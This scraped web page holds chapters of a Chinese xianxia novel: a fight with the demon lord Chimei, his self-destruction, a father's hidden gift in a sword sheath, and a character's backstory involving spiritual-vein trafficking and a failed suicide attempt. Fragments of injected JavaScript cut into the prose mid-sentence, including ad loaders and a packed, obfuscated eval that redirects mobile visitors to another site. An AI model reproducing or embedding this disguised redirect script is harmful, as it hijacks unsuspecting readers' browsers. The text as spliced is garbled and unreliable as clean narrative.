崔惊厄一见那太极,脸色骤变,然谢扶光动作太快,他已阻止不及。 她嫩白掌心在乐命刀刃狠狠剐过,擦出一道深邃血口,头顶太极登时转为血红色,待那血红足够浓艳,血太极即缓慢转动起来,而太极每移动一毫,她脸色也跟着白上一分。 此式名“阴阳短景”,乃修界禁术。 然此“禁”非有明文规定,而是修士们自发默认。 阴阳短景并无毁天灭地之能,于旁人并不危险,损的却是施用此术者的寿元。 空中阴阳两个血太极需以施术者精血为引,太极每转一圈,被太极笼罩着的生灵修为则减损一成,代价是施术者寿元减少一至三年不等。 眼见那血太极就要旋过一圈,对螭寐的伤害与对谢扶光的反噬都将形成。 “放心,我有分寸,只让太极转两圈,等螭寐修为降至八成,我们便能杀了他。”谢扶光说这话时,没敢看崔惊厄的脸。 崔惊厄同样也没看她。 被气到了。 “行,那等会儿我也有分寸地随两圈。” 谢扶光:…… 作为这个家唯一正派的大家长,舒扬舟自觉有必要说两句什么,开口前却兀地感到经脉里涌动起一股熟悉暖流。 舒扬舟:…… 洪福运脉真是他的好宝贝,就在这千钧一发的关口,他的境界很突然地突破了。 舒扬舟当即持剑把那吸血太极打散,谢扶光张了张口,原想阻拦,却见他周身一股磅礴真气缭绕,隐是突破之兆,不由把话咽回,只是口又张得更大了些。 她手上迅速动作,凤舞九天再出,回归之前阵势。 舒扬舟突破后,对霜寒十四式显然有了更深领悟,凌厉剑式打破了适才僵持的胶着,螭寐更现颓势。 这次螭寐真有些着急了,他在那人的管控下,多年不曾出来兴风作浪,整日在魔尊殿被手下们捧着,竟不知这一代小辈们竟已杰出至此,比他少修行几百年的三个娃娃过家家一样联手,竟有要撬动他这座大山之势。 不觉间他额际见汗,黑气纵已调用到极致,结成的黑气茧在金光侵蚀、刀剑相击和谢扶光的邪脉吸纳下,依然在缓慢转薄。 谢扶光三人虽暂占上风,面上却未现半点骄矜,不露一毫破绽,他全无突围之机可乘。 螭寐额角青筋一跳一跳,都说危难时会生急智,不知是不是他的脑子被酒色泡锈了,又百来招扛过,他仍半个法子都没想出,满脑子盘旋的尽是:被这三个崽子剿灭于此,传出去他怕是要被笑掉大牙。 正值焦头烂额之际,他鼻端兀地嗅到几缕由远及近的魔息。 他平素掌控欲极强,要求属下定时汇报各种事情的进展,想来应是有属下来找他,他螭寐今日真是命不该绝。 螭寐唇角狰狞地勾起,心道:这手下来得及时,回去可以赐他个好点的死法——他今日形容狼狈至此,见者自然是都要死的。 修士对魔息不如魔族敏锐,螭寐嗅到手下气息时,三人犹未发觉,但他们敏锐感到螭寐的反抗不再那般激烈,至少失去了那股要鱼死网破的劲儿。 又过片刻,谢扶光因体内有朱颜故的邪脉,对魔息较另外两人相对敏感,第二个察觉有魔族正向这边逼近。 “他的手下来了。”她提示。 情况登时变得棘手,他们三人合力方能勉强制住螭寐,分出谁去对付他的手下,都势必会打破此刻平衡;而任由新来的魔兵插入战局,显然也对他们极为不利。 崔惊厄移眸看向连接南屿山与外界必经的小路,问舒扬舟:“对付几个小喽啰,没问题吧?” 要打,舒扬舟自然没问题,关键是这边脱不开身。 “我可以先顶一顶。”崔惊厄说着,就要把藏蛟换到右手。 “不行!”谢扶光果断制止。 “我的大小姐,这时候就别心疼我了……”崔惊厄说着,暗暗咬紧牙,就预备将灵力涌进右腕灵脉,迎接新一波疼痛。 “没心疼,”谢扶光说话时,从纷繁刀式中分出半式,以刀柄不轻不重击了下他右腕,以示警告,“我是怕你等会儿受不了疼倒了,这里照样要出问题。” 崔惊厄:…… 似乎在理。 “师兄,”谢扶光说完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 转向舒扬舟,“前夜我听见你吹梦离箫,你可学会用它杀敌了么?” 舒扬舟遗憾摇头:“我就只是吹了首曲子,尚未参透以音符杀人之法。” “给我瞧瞧。”崔惊厄眉梢一剔,右手接过,说话时左手剑光依然无歇闪烁。 这是他第一次触碰梦离箫,以它作杀生利器,他自也是不会的。 可就在适才一瞬,他想到了轻尘赠与他的菩提心法。 菩提心法是明镜台顶级心法,向来惟心念最为明澈的弟子方能了悟,在轻尘之前,心法传人已断代近百年。 轻尘拿到心法后,为方便之后的弟子修习领悟,每每修行中有所感悟,都会在旁添些注解,其中有一段他自创的曲谱,传说有驱邪念、清心湖之功效。 崔惊厄也只是尝试,并不能确定,这曲谱以作为杀生利器的梦离箫吹出,对驱除邪物有无用处。 他右手持箫横在唇边,先试了两个音,随即一段曲调自箫管淌出。 谢扶光从小就是音痴,听入耳中并不觉得与他平日逗她时,拿树叶吹的青楼小调有什么不同。 文艺男修舒扬舟倒展了展眉,一霎如临古寺,如闻梵音,心镜澄明。 崔惊厄作为吹箫者,对每个音符的感受最为明晰。 他清晰感知到箫音清泉般淌过自己身畔,而后蓦地翻起万顷波涛,直撞向螭寐凝成的黑气茧。 螭寐的黑气虽不能敌刀光剑影,对付这音符化成的涛浪却轻而易举。“涛浪”一拍不破,赶在黑气反扑之前,崔惊厄驱策音符以一个风骚走位避开,向螭寐手下们的来路飘去。 螭寐欲以黑气追赶,却自身难保,无能分出太多,仅有的几缕尽数被谢扶光吸入邪脉。 音符层层堆叠于那唯一一条小路的尽头,砌成一堵高耸水墙,墙面浮现梵文,边缘处又有水箭凸起。 来的是三只低阶魔兵,不算精锐。 可怜的小魔兵们毫不知情,还专心打着腹稿,准备等会儿在汇报任务之余,说些好听的捧喜怒无常的魔尊高兴。哪知走过狭路一转,就见自家殿下正被三个年岁不大的小修士围攻。 魔兵们登时大喜,都觉得到了自己出手之时,升官发财换老婆指日可待,他们修为不如崔惊厄,看不见眼前水墙,毫无防备往前冲。 中间那只撞上梵文,登时被佛光照得浑身滋啦作响,打着滚痛嚎连连;左边兴奋大喊着“小的前来救驾”,张着的嘴正与一只水箭来了个亲密接吻,喉咙被刺得对穿;最后那只跑得略慢,躲过猛烈的兜头一劫,觑见两名同伴惨状,两股战战,竟“咚”一声径直跪了下来,而与此同时水墙轰然倒塌,径直朝他砸下,泄下的水涌进他口鼻,逐渐剥夺了他胸肺处每一丝气体…… 三只魔兵喽啰就这样被全部解决。 崔惊厄一边挥剑,一边还要吹箫,再好的体力也不由微喘,见那边两死一个近死,已成不了大气候,放下梦离箫缓了口气。 孰料变生陡然,天际蓦地炸开一团红光,他凝眸看去,见是那只被梵文灼得半死的魔兵在垂死挣扎时,凭求生本能向空中射出了魔兵们出任务求援时通用的信号弹。 大概很快,就要有许多魔兵涌过来了。 68.亡魔尊 螭寐的怪笑穿透厚茧,得意到了极点:“看来时运还是站在了本尊这边。” “过不了一会儿,我在康城的手下就都会过来,任你再厉害,还能以一敌百么?谢扶光,我会亲自送你归西。”说到最后,他声音里透出森森冷意。 “不,还有一种可能。”谢扶光却也笑了,“螭寐,世间诸事盖棺方能定论,尘埃未落时,说什么都为时尚早。” 螭寐轻蔑嗤笑一声,并不答话。 他距离这儿最近的手下不足半盏茶即可赶到,这点时间他睡个女人都不够,这几个崽子围了他一晚都没能损他半根汗毛,这一会儿还能杀了他么? 谢扶光不理他嗤嘲,就在刚刚,崔惊厄堪比移花接木的创新打法给了她灵感。 她将神识沉入自己体内,看见了重轶赠与她的那条真极绳。 如今那绳消散在她眉心,从外看化成了一颗朱砂痣,往内却是一个漂浮的红圈,红圈圈住了看不见摸不着的无形鬼气。 她的邪脉无法吸纳这鬼气,但能将螭寐的魔气收放自如,足见鬼气要比他的魔气厉害许多。 真极绳连鬼气都能镇住,对付螭寐以魔气形成的黑茧应当不在话下,只是…… “此绳仅可使用一次,一旦你魂魄里的脏东西破绳而出,便是再给你同样的一条,也无用了。” 这是重轶前辈在给她真极绳时提醒的话。 谢扶光抿唇做了片刻权衡,终是选择解开了它。 体内邪脉将真极绳化为的红圈吸纳,充分与从螭寐那儿吸来的浓黑魔气混合,而后以碎他令牌时同样的方式,混进了那颗黑气茧。 两息过后,被吸纳后打散的真极绳重组,熟悉的红圈再度成形。 真极绳圈住螭寐不断外溢的黑气,他周身黑茧以肉眼可见的速度转薄,不多时露出螭寐惊恐交加的脸。 “我的话还没说完,”魂魄内的窥视卷土重来,如影随形,谢扶光却不在意般勾了勾唇,“还有一种可能,就是我们在你的手下们赶来前,杀了你。” “不可一世的魔尊殿下,还是那个问题,被你瞧不起的将死之人用你的黑气杀死,是什么感觉呢?” 随她话音落下,真极绳将螭寐的黑气囚困殆尽,他失去了防护茧,也无法使用黑气攻击,有如断了一臂。 头顶金光烧灼他,身周刀剑围剐他,仅两息光景螭寐浑身已鲜血淋漓。 螭寐看向谢扶光,她体内鬼气失了真极绳的束缚,带动脸色比先时差了些,从前他其实很喜欢看她永远染着三分不耐的烦躁表情,这代表着被掌控,看见她这个少年天才被那人玩弄于股掌之中,会让他心情很好。 可是现在,再看她眉间微拢出的熟悉纹路,他兀地生出个新的念头:谢扶光本人的狠,并不比那人加在她眉宇间的少,如有朝一日他们两相博弈,她未必会输。 想到那人或许要在他亲自培育的躯壳上吃苦头,螭寐不由又高兴起来,神经质似的笑了两声,笑完又感到悲凉:饶是那天再精彩,他也看不见了。 谢扶光说到做到,她不会让他活过今日。 见螭寐突然笑起来,几人都觉得他疯了。 彼时他已浑身是血,近乎没一块好肉,笑时露出的牙上也沾着血,形容极为可怖。 崔惊厄蹙眉,向后拽了把谢扶光,他莫名预感很不好,不想让大小姐靠这疯子太近。 “大小姐,你过来,”螭寐却朝谢扶光招手,龇着一口血牙,“我告诉你一个秘密。” “别去,恐怕有诈。”崔惊厄又把她向后拦了一拦。 谢扶光看一眼螭寐,此刻的他浑身是血,形容狼狈,像一条失了鳞片的鱼,苟延残喘在干涸土地。 她想了想,分开崔惊厄拉她的手,手持乐命指着螭寐脑袋上前。 在她身后,崔惊厄蹙了下眉,终究没说什么,只缄默上前两步,掌心握拳,做出十足的戒备姿势。 大小姐的骄矜刻在骨头里,她实在太相信手中那把刀,同时也太不在意她自己,想到刚刚对战螭寐时她想也不想使出的“阴阳短景”,崔惊厄深觉任由她这样下去,迟早会出问题。 见谢扶光上前,螭寐笑着咳嗽了两声,他的生机已经很弱了,话音虚的可怕:“我告诉你,那个人……他是颜琅。” 谢扶光闻言,并不觉得意外,康城外的客栈门口,她和崔惊厄便猜测过这一结果。 螭寐说的秘密未能令她满意,她烦厌蹙眉。 螭寐不在意她的不快,接着开口:“不久后你们对上的那天,我希望你赢,前提是……” “你能活过今日的话啊哈哈哈哈哈!” 谢扶光其实没卸下对螭寐的防备,始终认真观视他神色,在他说最后一句之前已敏锐察觉不对,一刀劈出,借着刀风就要向后避开。 她反应和行动都足够快,正常情况下不难躲掉绝大多数攻击,可惜她面前是螭寐,行将就木、孤注一掷状态下的螭寐。 魔尊临死前怨念惊人,牵动四肢百骸每一丝魔气、每一分邪力、每一块皮肉与每一根骨骼都在爆发,血肉模糊的五指如钢叉,闪电般朝谢扶光咽喉攫来。 好在谢扶光闪避及时,让过脆弱喉管,以左臂迎了这一击,湖蓝色衣裳立时现出五个指腹大的血洞。 谢扶光不拿这点不致命的小伤当回事,避都不避,只觉螭寐临终的偷袭令她不爽,她反钳住螭寐被血糊住的手臂,拔出乐命就要立即砍掉这魔头脑袋,却听舒扬舟在旁叫道:“快走!” 他声音变了调,尾音带着近乎破音的嘶哑,他鲜少情绪失控,谢扶光一听即知不好,可螭寐扣住她手臂的五指太紧,她当机立断挥刀断下他一臂,然已经来不及。 正当螭寐断掉的右臂颓然落地,她欲轻身急退之际,螭寐整个身体轰然爆开,如一颗威力强劲的雷火弹,团团魔气与血肉炸在谢扶光眼前,每一滴血都泛着不逊于拨云子的杀气。 谢扶光被这大动静震得脑中空白一片,乐命护主,发出一声尖锐啸鸣,挡在谢扶光身前,却被逸散 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的魔气冲撞,颠倒着飞出老远坠地,磕绊出颓然的铮音。 这是二十年来谢扶光距离死亡最近的一次,在这一霎她脑中盘旋的念头是:死得真窝囊,大意了。 而就在这时,混乱视野中罩上一抹红影,生死一线中她那堪称平静的心跳总算鼓噪起来。 因崔惊厄横剑插入她与螭寐之间,以身体挡住了她。 仓皇间两人交汇一个目光。 崔惊厄视线投进谢扶光眼中,带着一切似在预料中的淡。 她不该莽撞。 只这一眼,她登时就后悔了。 然螭寐电光火石间的爆体甚至容不下她的一滴泪,更来不及给她懊悔和认错的机会,遽烈的冲击迎她面而来,朝着的却是崔惊厄的背。 谢扶光眼睛睁得很大,想要将他推开的双手却被崔惊厄死死扣紧,心脏发出山呼海啸般爆鸣。 全身血液上涌至头顶,她两眼充血,双腿一软,四肢百骸一齐泄力,整个人如一团柔软棉絮,灭顶的恐慌令她几乎难以直立。 而就在她真正倒下去的前一刻,她腰际悬着的那把曾被她无数次嫌弃华而不实的刀鞘,挣脱她腰间束缚,抵在了崔惊厄与那浩荡冲击之间。 陨铁做的乐命都被螭寐爆体的动静炸飞,她那金雕玉琢的刀鞘自也讨不到多少好处,求仁得仁瞬时应声断为数段,连具全尸都没留下。 而刀鞘碎片之内,却闪烁出万分绮丽的光,那光在霎时摊开为一道防护屏障,像一把专为谢扶光撑起的巨伞,为她隔绝伞外一切忧怖与凶险。 变生陡然,谢扶光还没缓过适才的恐慌,怔然凝眸,见一条轻细红绸像从天边飘下,眷恋而缓满地落经她身前,她下意识将它捞入掌心,却暂无心去看。 摇摇欲坠的身躯被一双手从腰间托住,崔惊厄掌心温热,眼里甚至带了抹笑意,似在说“运气不错逃过一劫”,目光投进她眼底却激起她一阵战栗。 他平时过分好脾气,以致谢扶光时常会忘了,那笑嘻嘻的面皮下,还藏着这样的狠意。 他不满她事事出头,所以用这种决绝的方式来让她品尝他不愿感受的失去。 舒扬舟很快上前,将她和崔惊厄前前后后仔细检查过一遍,确认人都没事,总算能松口气。 “你们俩真是……” 吓死他了! 谢扶光缄默看了崔惊厄一眼,碍于舒扬舟在,暂且压下满腹心绪,什么都没有说。 她其实有点生气,却也心虚知道他们两个半斤八两,于是只是除开他扶着她的手臂,转移注意力似的,长睫一垂,正对上随手捞来拿红绸上两行落拓的行草。 这一眼,竟久久没能移开。 “乖女儿,没想到吧,我在乐命刀鞘里布置了点小玄机,不远万里为你保驾护航! 若你有朝一日用得上,别忘了回来时给我带两瓶好酒,哦,记得悄悄带,别叫你母亲看见。” 这句话后还有个歪七扭八的猥琐笑脸,落款是“为父白扇”。 69.当年纨绔 乐命乃谢白扇于宛流萤孕中为未出世的女儿请知名器修所锻,此事在修界是段佳话,广为人知。 想来也正因此,“谢白扇”才只能在众目睽睽的见证下,不得不将乐命交给了她。 谢扶光手指有片刻收紧,怕弄皱了红绸又很快舒展开。 她形容不出此刻心情。 大概有点可惜,她听信“谢白扇”的妖言,扼杀了她萌芽阶段刚要成形的刀灵,那本该也是她真正的父亲留给她的礼物。 还有些后悔,几个时辰前,当螭寐问她“你父亲死时该有多痛苦”,她不该说出那句“我没见过他,没感受过他的好,自然不会替他难过”。 也不知谢白扇若在天有灵,听到这句会不会寒心。 有些爱她没福气感受过,不代表它就不存在的。 “怎么了?”问话的是舒扬舟。 崔惊厄没开口,大概也在与她闹着不谋而合的别扭。 “是颜琅。” 谢扶光还没太回神,怔然传达螭寐煞有介事告诉她的“秘密”。 “什么?”舒扬舟不是崔惊厄,没能立刻听懂她这前言不搭后语的一句。 “占据她父亲躯壳的魂魄,是颜琅。”见她还有点恍惚,崔惊厄终究是代为解释道。 谢扶光颔首,她深吸两口气,大患未除,此刻还不是心潮起伏的时候,正巧舒扬舟将飞出去的乐命捡回递给她,她接过乐命,定定开口:“我会亲手杀了他。” 她誓要杀颜琅,倾其所有,不计代价。 到那天,若她还有命,便去千秋雪给谢白扇送酒。 “螭寐那些手下就快来了,”舒扬舟嗅到几缕魔息,“我们得赶快走,不然叫妖魔界得知螭寐由我们所杀,会酿成两界间的大仇怨。” 谢扶光点头。 是得赶快走。 束缚她体内鬼气的真极绳已解,“谢白扇”,或者说颜琅,又能洞悉她行踪,他们得比他快,抢着时间把事情办完。 她取出块干净手帕,将乐命刀鞘四散的碎片一一用心收好,攀上小美人龙背。 龙身一跃,飞出康城地界,三人身形登时再化虚无,他们与打头赶来的魔兵们对视,却没被窥见半片衣角。 小美人先带他们前去溪桥镇寻李兰允和黎暨汇合。 一路谢扶光话一直很少,一贯话痨的崔惊厄竟也没怎么出声。 舒扬舟左看看右看看,又右看看左看看,决定将沉默贯彻到底。 不多时小美人已腾行到溪桥镇,下龙背前崔惊厄终于开口:“一会儿李兰允有关于你母亲的事要告诉你。” 听到她母亲,谢扶光眼皮一颤,她眼中空茫,看过来的一瞬竟有些可怜。 “更具体的等会儿让他自己跟你说吧,他大概还会问你江星的事,你可以先想想怎么回答。” 崔惊厄说完,两人都静止了一会儿。 然后他抿了抿唇,又轻轻呼出一口气,终是亲了亲她的眼皮:“手臂的伤,还疼么?” 螭寐临终攫来的一爪很重,饶是经舒扬舟包扎过,还上了最好的灵药,谢扶光左臂的五个血洞依然未能止血,几欲染红绷带。 但她骨头向来很硬,除非损及魂魄、经脉那种忍不了的疼,通常不会在人前显露半分狼狈。 尤其这一路她的大脑全然被万千心绪占据,更是顾不上那点皮肉疼。 但经崔惊厄这一问,那通常并不难忍的外伤竟配合地闹腾起丝丝疼意,她沉吟少顷,顺势轻“嘶”一声,点点头。 谢扶光自认为缓和二人关系,她已做出了堪称巨大的妥协。 对面崔惊厄见她这样,却勾唇轻笑了一声。 “疼啊,你活该!” 大抵也自知此话欠揍,说完他身形一闪,人就躲没了影。 - 晴日无风,天澄海阔,小美人在云雾里间或一个腾跃,底下是天南地北的滥滥风光。 龙背上除去往来风声,却是近乎静谧的。 李兰允一上龙身,就将对崔惊厄说过的话原封不动又跟谢扶光交代了一遍,合着一夜过去,愣是半点更多的都没想起来。 谢扶光听罢道了声谢,有点遗憾似的说:“原来你也没见过她。” 她其实很想听一听有关父母的事,什么都行,可惜李兰允也没见过宛流萤,并不知情。 李兰允依然未能很好适应身体,一举一动都显得呆钝笨拙,他一字一字蹦道:“那你见过江星么?” 谢扶光点头,模棱回答:“他很好。” 这话容易让人混淆,不知是在说江星是个很好的人,还是他现在过得很好。 “我曾在他剑上看到一朵兰花,和你手臂上刺的一模一样。”大小姐不习惯说谎,怕李兰允追问,换了个话题。 李兰允扯起唇角笑了:“听说寻找化影境的主人很困难,你们就是凭这个找到我的吧?” “再来一世,他还是我的福星。”他喃喃道。 “你们相识是在前世?”这一茬崔惊厄没跟她提,谢扶光有些好奇。 李兰允点头又摇头,一忆起旧事,他就更显得呆了,说的话也乱七八糟:“我是今世,他是前世。” 谢扶光听了个一知半解,想起在从滇绥沟前往康城的龙背上,他们曾讨论过李兰允与江星的关系,当时因为江星若活着今年合该十九,而李兰允的化影境也恰好存续十九年,宁磐还猜测两人是父子关系。 现在看来,李兰允开启化影境大概就是在前世江星死的那一年,宛流萤的师兄夙游将灵钥交给李兰允也是在那年。 思及这一茬,谢扶光不由抱歉:“因我之事,给你们添麻烦了。” 李兰允只摆摆手:“我一个纨绔,本也无什么大用。” “李公子实在自谦,就凭你守化影境十九年,崔某自叹不如,如此心性,你怎会是纨绔?”崔惊厄从旁插话进来,替谢扶光问出心中疑窦。 李兰允却认真道:“从前的我的确是纨绔,遇见江星以后才变好的。” 李兰允初遇江星时年方十六,彼时他是大户人家金贵的小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少爷,而江星出身贫民窟,二者间隔着云泥之别,本该一辈子没有交集。 当年凡界刚换了个好君主,大部分人日子还算富足,百姓们没钱时想活命,有钱了想上天,修仙成了风潮。 大户人家都以有孩子入了修界宗门为傲,然修仙极看重资质根骨,并非谁都能登上那九重霄。 于是民间便刮起了一阵灵脉移植的风。 灵脉移植顾名思义,便是将有资质者的灵脉剜去,转接到废材身上。 被剜灵脉者多是些贫苦人家的孩子,这些孩子会被父母送去集市的特定区域待价而沽。总归入了仙门也未必就能修成仙道,不如脚踏实地一辈子,以一条灵脉换一家人衣食无忧。 可老天爷赋予的资质满足不了人们的野心,集市能买到的灵脉显然不够,需求永远大于供给。 于是有人从灵脉里嗅出铜臭味,发展了些上不得台面的黑产业,江星便是其中一个被黑贩抓去剥了灵脉的牺牲品。 灵脉移植仅有六成把握成功,李兰允在自家爹娘的不懈努力下,前前后后统共移植过三条。 很遗憾,血流了几盆,罪也遭了不少,最终却一条都没能成功。 然后爹娘放弃了他,他自己也放弃了自己。 坏事最是传千里,李家老爷为爱子移植灵脉三次均以失败告终,此事很快传遍了大街小巷,成为街坊邻里茶余饭后的笑柄。 很长一段时间,李兰允不敢走在街上,他总觉如芒刺背,幻视有人暗中嘲笑他,幻听有声音背后指点他,称他是垃圾、是废物、是扶不上墙的烂泥一摊。 从此日光下不敢露面的“耗子”去了阴沟称霸称王,他开始沉迷于在贫民窟寻找优越感。 他父亲是个生意人,称生意场上充满了贵贱之分,而苦劳力是其中最廉价的东西,那些人将一个“贱”字印进天灵盖里。 是以贫民窟又叫贱民窝。 肩不能扛手不能提的富人们瞧不起“贱民”,又无比需要着“贱民”,“贱民们”牛一样为他们耕出衣食住行,又蝼蚁一样衬得他们高贵无比。 李兰允一不高兴,就去“贱民窝”打人,他享受“贱民们”在他脚下俯首称臣的快感。 其实他们未必打不过他,但人生于世总有那么几个阶段得向钱低头,而“贱民们”的这个阶段持续尤其长,一不留神就是一生。 于是,李兰允通常只需从指缝露下几个碎钱,就能收获一地俯首的尊严。 这样的生活持续了些日子,他待在贫民窟的时间越来越久,打起人来也越来越狠,心飘得越来越高,也越来越不相信,这城中一等一的下贱地,竟也生出了不愿做奴隶的人。 江星手持一把起了木刺的破木剑,卷飞他的亮银鞭,打得他爬不起来,就在一个很寻常的黄昏。 江星不似他,打赢后不会踩着手下败将的背,用足底狠狠地碾,他甚至捡起李兰允的鞭子,没忍住满腔的喜欢在空中甩了甩,而后轻轻送回他手心。 “臣服不意味着尊重,你的方式选错了。” 70.变形记 江星的语气很轻,表情也很淡,李兰允却觉两颊羞愤欲烧。 这些日子以来他究竟在寻求什么,连他自己都时常困顿,此刻却被江星轻飘飘一句点了出来。 不过是个穷小子,他凭什么就以为看透了他? 李兰允当然没有听进江星的话,他行事非但不曾改变,还更变本加厉,这天起他在心里植根了一个敌人。 此后几个月时间,他时常有意无意观察这个敌人,他发现江星确然是个很不错的人,话本子里常写到“侠之大者,为国为民”,江星一个出身贱民窝的贫穷少年,无权财也没什么太大能力,称不上“侠之大者”,但他很乐于助人,什么东家阿婆西家阿叔的事都喜欢揽,贱民窝里每有孩子受了欺侮,第一反应也都是找他出头。 总结就是:勉强算个为友为邻的“侠之小者”。 后来李兰允又偷偷观摩过两次他与旁人打架,发现这位“江小侠”将一把小木剑使得极好,比城中几个入宗门修习过的人还要好,如有灵脉,定是个习剑的好苗子。 想到灵脉,李兰允心口愈堵,对江星的愤恨也不由又加深几分。 与李兰允不谋而合,江星对他其实也别有关注。 不似李兰允把这关注搞得偷偷摸摸,做贼一样,江星行事敞亮,李兰允可以深切感受到他的“关心”,具体表现在他无论办什么坏事,江星这混蛋总要插一脚。 于是在他心中,江星的身份再度升级,从敌人变为心腹大患。 李兰允和他的心腹大患就这样拉扯和博弈着,琐碎日子竟添了几分意思。 他不得不承认,其实江星也有点好的地方,每每他做混蛋事,江星虽阻止得一次不落,却从未好为人师教他做人,往往阻止过后,事情就翻过去了,眼烦,但耳朵和心不烦。 二人关系的和缓发生在两个月后的一天。 那一天李少爷落难了。 李兰允自诩毕生辉煌都爆发在投胎的一刻,其后漫长的小半生,都不过是守着那点辉煌的余烬过日子。 他靠着爹娘的努力,过了锦衣玉食的十六年,从未想过那点“余烬”也会掉过头来对他露出獠牙,燃起野火燎原。 李兰允三次灵脉移植不成,让李家落了笑柄,始终是最要面子的李家老爷的心头刺,他自诩上等血脉,怎么也不愿相信会生出这种废物。 这天家门前路过一个云游道人,李老爷殷切请其上门,道人对着李兰允又是瞧又是嗅,还不时把那擀毡了的拂尘往他身上抽一道。 李兰允畜生一样被打量着,既厌恶又觉羞耻,臭着脸狠狠瞪了那道人一眼。 然后,堪称魔幻的事发生了。 不知是不是小心眼的道人蓄意报复,他在跳了良久大神后,下了个很不负责的结论: 他称现居李兰允壳子里的是夺舍之魂,真正的李家少爷早死了。 李兰允怒极反笑,当即就要让爹娘赶人,一转眼话却哽在了喉咙里。 遭受过铺天盖地指点的人总要敏感些,李兰允自三次灵脉移植失败后,培养了很好的察言观色能力,就在看向父母的那一眼里,他发现了一件更魔幻的事——这道人的疯话,从小捧他宠他到大的爹娘还真信了。 当夜李兰允被赶出了李家。 坊间流言风向转得很快,李家在踢出他这颗老鼠屎后,摘掉笑柄帽子,变成了痛失爱子的可怜家庭,而李兰允则从废物更加堕落为杀人犯,甚至有人报案让官兵来抓他。 他其实很希望被抓走,至少牢房有吃有住,秋后问斩也就疼那一刀,还死得万众瞩目,总好过让他被打死、被唾沫星子淹死,死后尸身还要遭万人践踏,血肉成泥融进暮冬的雪里。 可惜官府里坐的是个清汤大老爷,大老爷把报案的人教训了一顿,当庭宣判李兰允无罪。 李兰允想死没死成。 几个月后,李家父母又领进李家一个少年,那少年比李兰允小几岁,天生就长着灵脉,李家老爷逢人便称这是道人指引他找到的爱子转世,高调当众认亲,宴席大摆三天三夜。 李兰允如往常无数个只敢待在阴影中的时刻一样,偷偷躲在暗处观了这场认亲礼,透过他生活十六年的李府门口悬挂的喜庆红绸,他想的是: 李老爷有句话可说错了,苦劳力不是最廉价的东西,最廉价的长在人心里。 然这已是后话,依照原本轨迹,他本不该有命活到观礼这天。 但他遇见了江星。 李兰允是个很敏感的人,他能敏锐察觉旁人每一丝敌意,也能感到江星对他毫无芥蒂。 江星拉着他躲掉追着打他的人,将贫民窟中他那扇干净却破旧的草席,分给了他一半。 若是李兰允平时,受到心腹大患如此照拂,多半会感到难为情,但这夜他心中落了层很厚的灰,暂时盖住了这点不自在。 夜里李兰允趁江星熟睡偷偷爬起。 隔壁做屠宰生意的阿叔今日刚丢了把生锈的铁刀,被他偷偷留意。 他将那刀捡来,狠心咬牙,划过脖颈。 片刻后,一道气声惨叫自他口中响起,铁刀锈得太厉害,一刀下去只破皮肉,未损喉管。 很遗憾,他又没死成,还疼得不轻。 其实没流多少血,但李兰允从小养得金贵,第一次挨打还是被江星揍的那回,一道不算多深的伤已足以令他眼眶湿润。 李兰允心里气那破刀,正要回头跺上两脚,一转身却见江星正倚着门框抱臂看他。 两人对视半晌,谁都没说话。 江星回屋取了绷带与劣质伤药,他上药的动作并不温柔,李兰允险些疼厥过去,只觉经此一遭,自己怕是对死产生了阴影。 “死过了,滋味不如何吧。”江星在他脖子上打了个很丑的结。 李兰允以为他要嘲笑,猛地转头想递去一个凶恶眼神,可惜动作牵扯到伤口,眼神半道变了个龇牙咧嘴的调,顿时失了气势。 幸好江星没看见。 他始终垂着头,把那疼死人不偿命的破药粉和边角泛黄的旧纱布重新妥善收好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930450|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,做完这一切才说了句:“不想死了,就想想怎么活,今日的事以后别再做,伤药不便宜。” 说完他就回去接着睡了。 江星的声音和神色都还与初见时一样淡,稀释了李兰允满溢的悲愤。 他坐在原地又出了小半个时辰的神,原想轰轰烈烈死去谱一曲悲壮挽歌的心逐渐被这冬夜晚风吹僵,于是他搓着手灰溜溜回了自己的一半草席。 草席另一侧,早已“睡熟”的江星唇角展露一丝笑意。 江星说让李兰允想想怎么活着,他确实想了,只可惜落难少爷脑仁的大小或许还不及一颗核桃,想来想去也只能想到最表层。 “我决定跟着你,”翌日清晨,在江星起床打算出门做工时,李兰允叫住他,认真说,“没你在旁边,我可能会被打死。” 江星略颔了颔首:“那你动作快些。” 而事实上,没过几天,李兰允还是挨了打,就在他脱离江星,大着胆子独自去上茅房的时候。 回去上药又是好一通疼和心疼。 疼的是李兰允。 心疼药和纱布的是江星。 “李兰允,你也得出去做事,”给他上完药,江星幽幽道,“你真的很费钱。” 李兰允就这么赤果果地被唯一肯收留他的人嫌弃了。 这一霎所有委屈涌上心头,积淀出一个爆发。 他声音突然大起来,还带着尖利的尾音:“我没有夺过舍!” 江星转身的脚步一顿,却也只是点头嗯了一声,然后说:“没夺过,你也得出去做工。” 李兰允:…… 说的是做工的事么? “我没做过错事,那他们凭什么打我?!” 这回江星认真答了:“他们目的不在打你,而在填补自己心里的空缺,就像从前你也喜欢打人一样。” “所以当时我才说你方式选错了。” 这一夜,李兰允的脑仁喜人地长到了核桃大小。 他开始把“如何活着”当作一个深刻命题,认真地思考。 有的人生于钟鸣鼎食之家,却毕生不得欢乐;也有人茅屋一座,草席一卷,即可乐天知命。 这是为什么呢? 隔日晨起,他顶着一对深夜思索后的黑眼圈,向江星询问这一困惑。 对此,江星的回答是:“问题的解决不是靠想出来的,你不如动手去尝试,正好,你需要做工了。” 从这天起,李兰允真的开始跟着江星一起做工,他体验了前半辈子没体验过的劳动,当然,也感受了后半辈子再也不想感受的辛苦。 